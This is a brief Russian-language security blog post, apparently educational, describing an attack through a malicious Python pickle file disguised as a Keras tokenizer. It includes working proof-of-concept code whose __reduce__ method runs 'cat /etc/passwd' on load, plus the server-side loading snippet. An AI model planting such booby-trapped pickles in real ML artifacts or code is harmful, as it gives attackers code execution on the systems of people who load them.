Найти тему
17 подписчиков

Атака через вредоносный pickle-файл


Модуль pickle в Python — мощный инструмент для сериализации и десериализации объектов.
Однако, при работе с ненадежными данными, его использование может быть опасным, поскольку при десериализации выполняется код, содержащийся в объекте.
Это предоставляет злоумышленнику возможность внедрить вредоносный код, который будет выполнен при загрузке объекта из pickle-файла под видом токенизатора для нейросетевой модели.

Полезная нагрузка:

import os
import pickle
from keras.preprocessing.text import Tokenizer

class TokenizerWithMaliciousCode:
def __init__(self, tokenizer):
self.tokenizer = tokenizer

def __reduce__(self):
# Метод __reduce__ контролирует процесс десериализации.
return (self.run_malicious_code_then_return_tokenizer, (self.tokenizer,))

@staticmethod
def run_malicious_code_then_return_tokenizer(tokenizer):
os.system('cat /etc/passwd')
# Возвращение токенизатора после выполнения вредоносного кода
return tokenizer

# Создание объекта токенизатора
tokenizer = Tokenizer()
tokenizer.fit_on_texts(["Purple Team Diary", "mrl_joy"])

# Объединение токенизатора с вредоносным кодом
combined = TokenizerWithMaliciousCode(tokenizer)

# Сохранение объекта в pickle-файл
with open('malicious_tokenizer.pkl', 'wb') as file:
pickle.dump(combined, file)

Здесь класс TokenizerWithMaliciousCode реализует метод reduce, который используется pickle для управления процессом сериализации и десериализации. В данном примере этот метод возвращает вызов команды os.system, которая при десериализации выполнит команду cat /etc/passwd — попытка получить доступ к системным файлам.

Десерлизация на сервере:

# Загрузка токенизатора и выполнение вредоносного кода
with open('malicious_tokenizer.pkl', 'rb') as file:
tokenizer = pickle.load(file)

# После десериализации токенизатор работает как обычно
texts = ["new text data to tokenize"]
tokenizer.fit_on_texts(texts)

Когда сервер попытается загрузить файл malicious_tokenizer.pkl, вредоносная команда будет выполнена, что может привести к утечке критических данных или выполнению произвольного кода.

#MLSecOps
Атака через вредоносный pickle-файл  Модуль pickle в Python — мощный инструмент для сериализации и десериализации объектов.
1 минута